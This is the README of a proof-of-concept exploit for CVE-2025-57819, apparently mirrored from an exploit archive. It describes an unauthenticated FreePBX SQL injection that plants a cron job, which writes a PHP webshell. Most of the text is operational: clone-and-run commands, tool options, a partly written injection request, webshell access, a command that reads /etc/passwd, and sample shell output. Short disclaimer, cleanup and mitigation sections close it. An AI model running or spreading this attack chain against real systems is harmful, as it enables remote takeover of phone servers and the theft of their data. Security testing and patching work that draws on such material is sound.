Exploit for SQL Injection in Sangoma Freepbx CVE-2025-57819

## https://sploitus.com/exploit?id=C5096BEF-00D9-5E49-9834-B2C7D92D9B2F
# CVE-2025-57819 — FreePBX SQL Injection → RCE PoC

**CVE-2025-57819** is a critical SQL injection vulnerability in FreePBX that allows an unauthenticated attacker to achieve remote code execution by chaining a SQL injection with cron job injection.

> ⚠️ **Disclaimer**: This repository is for authorized security testing and educational purposes only. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage.

---

## Vulnerability Overview

| Field | Detail |
|---|---|
| **CVE** | CVE-2025-57819 |
| **Affected Product** | FreePBX (pre-authentication) |
| **Vulnerability Type** | SQL Injection (stacked queries) |
| **Impact** | Remote Code Execution (RCE) |
| **Attack Vector** | Network (HTTP GET) |
| **Authentication Required** | ❌ None |

---

## Exploit Chain

```
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection                                               │
│    POST /admin/ajax.php?brand= → stacked query                 │
│    INSERT INTO cron_jobs …                                     │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection                                          │
│    Malicious cron job writes base64-decoded PHP webshell       │
│    to /var/www/html/shell.php                                  │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access                                             │
│    GET /shell.php?cmd= → arbitrary code execution     │
└────────────────────────────────────────────────────────────────┘
```

### How It Works

1. The `/admin/ajax.php` endpoint processes the `brand` parameter without proper sanitization, allowing stacked SQL queries.
2. The attacker injects an `INSERT INTO cron_jobs` statement that schedules a malicious command every minute.
3. The cron job decodes a base64-encoded PHP webshell and writes it to the web root.
4. Once written, the attacker can execute arbitrary system commands via the webshell.

---

## Quick Start

```bash
# Clone
git clone git@github.com:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC

# Install dependency
pip install requests

# Basic usage
python exploit.py 

# Drop into interactive shell after injection
python exploit.py  --shell

# Execute a single command
python exploit.py  --cmd "cat /etc/passwd"
```

---

## Usage

```
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
                  [--param PARAM] [--no-wait] [-v]
                  target

CVE-2025-57819 – FreePBX SQLi → Cron → WebShell

positional arguments:
  target                target hostname or IP (with optional scheme)

options:
  -h, --help            show this help message and exit
  -p, --port PORT       port (default: 80/443)
  --shell               drop into interactive shell after injection
  --cmd CMD             execute a single command via the webshell
  --param PARAM         webshell query-string parameter (default: cmd)
  --no-wait             skip the webshell-verification poll
  -v, -vv               increase verbosity (-v info, -vv debug)
```

### Examples

```bash
# Target with default HTTP port
python exploit.py connected.htb

# Target with custom port
python exploit.py 10.10.11.100 -p 8080

# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell

# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"

# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"

# Verbose output for debugging
python exploit.py connected.htb -vv --shell
```

### Interactive Shell

When using `--shell`, the script drops into a pseudo-terminal:

```
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
```

Type `exit` (or Ctrl-C, Ctrl-D) to quit the session.

---

## Manual Verification

If you prefer manual steps, the exploit does three things:

### Step 1 – Inject the cron job

```http
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
```

### Step 2 – Wait ~60 seconds for cron to fire

The injected cron job (`* * * * *`) runs every minute and writes the webshell.

### Step 3 – Access the webshell

```http
GET /shell.php?cmd=id
```

---

## Cleanup

After testing, remove the webshell and cron job entry:

```sql
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
```

Then delete `/var/www/html/shell.php` from the filesystem.

---

## Affected Versions

- FreePBX versions prior to the vendor patch
- Systems where `/admin/ajax.php` is reachable without authentication

---

## Mitigation

- Apply the vendor-supplied security patch immediately
- Restrict network access to the FreePBX admin interface
- Ensure the FreePBX database user has minimal privileges (defense in depth)

---

## References

- [FreePBX Security Advisories](https://www.freepbx.org/security/)
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)

---

## License

This project is provided for educational and defensive security research purposes only. See the disclaimer at the top of this document.